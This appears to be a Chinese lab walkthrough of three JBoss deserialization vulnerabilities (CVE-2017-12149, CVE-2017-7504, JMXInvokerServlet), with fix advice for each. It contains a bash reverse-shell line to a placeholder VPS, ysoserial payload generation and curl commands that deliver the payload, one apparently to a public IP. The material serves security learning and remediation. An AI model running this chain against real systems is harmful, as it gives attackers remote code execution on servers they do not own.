总字符数: 6.20K

代码: 0.82K, 文本: 1.40K

预计阅读时间: 10 分钟

JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)

漏洞概述

该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中.该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞.
利用版本:

  • JBoss AS 5.x
  • JBoss AS 6.x

漏洞复现

该漏洞出现在/invoker/readonly请求中,服务器将用户提交的POST内容进行了Java反序列化


所以,我们用常规Java反序列化漏洞测试方法来复现该漏洞.直接使用bash来反弹shell(bash -i >& /dev/tcp/YOUR-VPS-IP/6666 0>&1),但由于Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法,我们需要用进行一次编码

工具:

服务器监听nc -lvvp 6666

序列化数据生成

使用ysoserial来复现生成序列化数据,由于Vulhub使用的Java版本较新,所以选择使用的gadget是CommonsCollections5

1
java -jar D:\LearningWorld\PersonalProject\PersonalProject\Security\Java\ysoserial\target\ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "YOUR-BASH-BASE64ENCODE" > poc.ser

可使用xxd来查看序列化后的数据

发送POC

生成好的POC即为poc.ser,将这个文件作为POST Body发送至/invoker/readonly即可
curl http://192.168.2.187:8080/invoker/readonly --data-binary @poc.ser

修复建议

首先进入/jboss/server/default/deploy/http-invoker.sar/invoker.war/WEB-INF/web.xml 目录

1
2
3
4
# 进入容器
docker exec -it 容器ID /bin/bash
#修改文件
vim /jboss-6.1.0.Final/server/default/deploy/http-invoker.sar/invoker.war/WEB-INF/web.xml
1
2
3
4
5
6
7
8
9
# 因为P牛靶场的docker里没有vim/vi,因此这里将他下载下来,修改完后再传上去
# 在本机
docker cp 容器ID:/jboss-6.1.0.Final/server/default/deploy/http-invoker.sar/invoker.war/WEB-INF/web.xml ./
vim web.xml
将<security-constraint>标签中的<url-pattern>/restricted/*</url-pattern>修改为<url-pattern>/*</url-pattern>
# 上传到容器
docker cp ./web.xml 容器ID:/jboss-6.1.0.Final/server/default/deploy/http-invoker.sar/invoker.war/WEB-INF/web.xml
# 重新查看文件,发现已经变了
cat /jboss-6.1.0.Final/server/default/deploy/http-invoker.sar/invoker.war/WEB-INF/web.xml

最后重启一下jboss服务/或者容器 漏洞不再可以访问,可以看到下图已经无法反弹shell了

JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)

漏洞概述

Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器.JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码.
HTTPServerILServlet.java在JMS上JbossMQ实现的HTTP调用层(默认情况下在Red Hat Jboss应用服务器<=Jboss 4.X中启用)不限制执行反序列化的类,允许远程攻击者通过精心设计的序列化数据执行任意代码.
利用版本:

  • <=Jboss 4.X

漏洞复现

该漏洞出现在/jbossmq-httpil/HTTPServerILServlet请求中,我们借助ysoserial的eCommonsCollections5利用链来复现.Payload用CVE-2017-12149的就可以
直接打:
curl http://192.168.2.187:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @poc.ser

修复建议

  1. 删除commons-collections-*.jar中的三个文件
    \org\apache\commons\collections\functors\InvokerTransformer.class
    \org\apache\commons\collections\functors\InstantiateFactory.class
    \org\apache\commons\collections\functors\InstantiateTransfromer.class
  2. 删除$JBOSS_HOME/[server]/all/deploy 和 $JBOSS_HOME/[server]/default/deploy下的
    Jmx-console.war、Web-console.war两个文件夹
  3. 升级版本

JBoss JMXInvokerServlet 反序列化漏洞

漏洞概述

这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码.
利用版本:

  • JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
  • JBoss AS (Wildly) 6 and earlier
  • JBoss A-MQ 6.2.0
  • JBoss Fuse 6.2.0
  • JBoss SOA Platform (SOA-P) 5.3.1
  • JBoss Data Grid (JDG) 6.5.0
  • JBoss BRMS (BRMS) 6.1.0
  • JBoss BPMS (BPMS) 6.1.0
  • JBoss Data Virtualization (JDV) 6.1.0
  • JBoss Fuse Service Works (FSW) 6.0.0
  • JBoss Enterprise Web Server (EWS) 2.1,3.0

漏洞复现

JBoss在处理/invoker/JMXInvokerServlet请求的时候读取了对象,所以我们直接将ysoserial生成好的POC附在POST Body中发送即可.整个过程可参考jboss/CVE-2017-12149
直接打:
curl http://103.116.46.7:8080/invoker/JMXInvokerServlet --data-binary @poc.ser

修复建议

找到 \jboss\server\default\deploy\http-invoker.sar\invoker.war\WEB-INF\web.xml
将 EJBInvokerServlet 、JMXInvokerServlet servlet的相关配置注释掉,重启后这两个地址就无法访问了,漏洞也就修复了.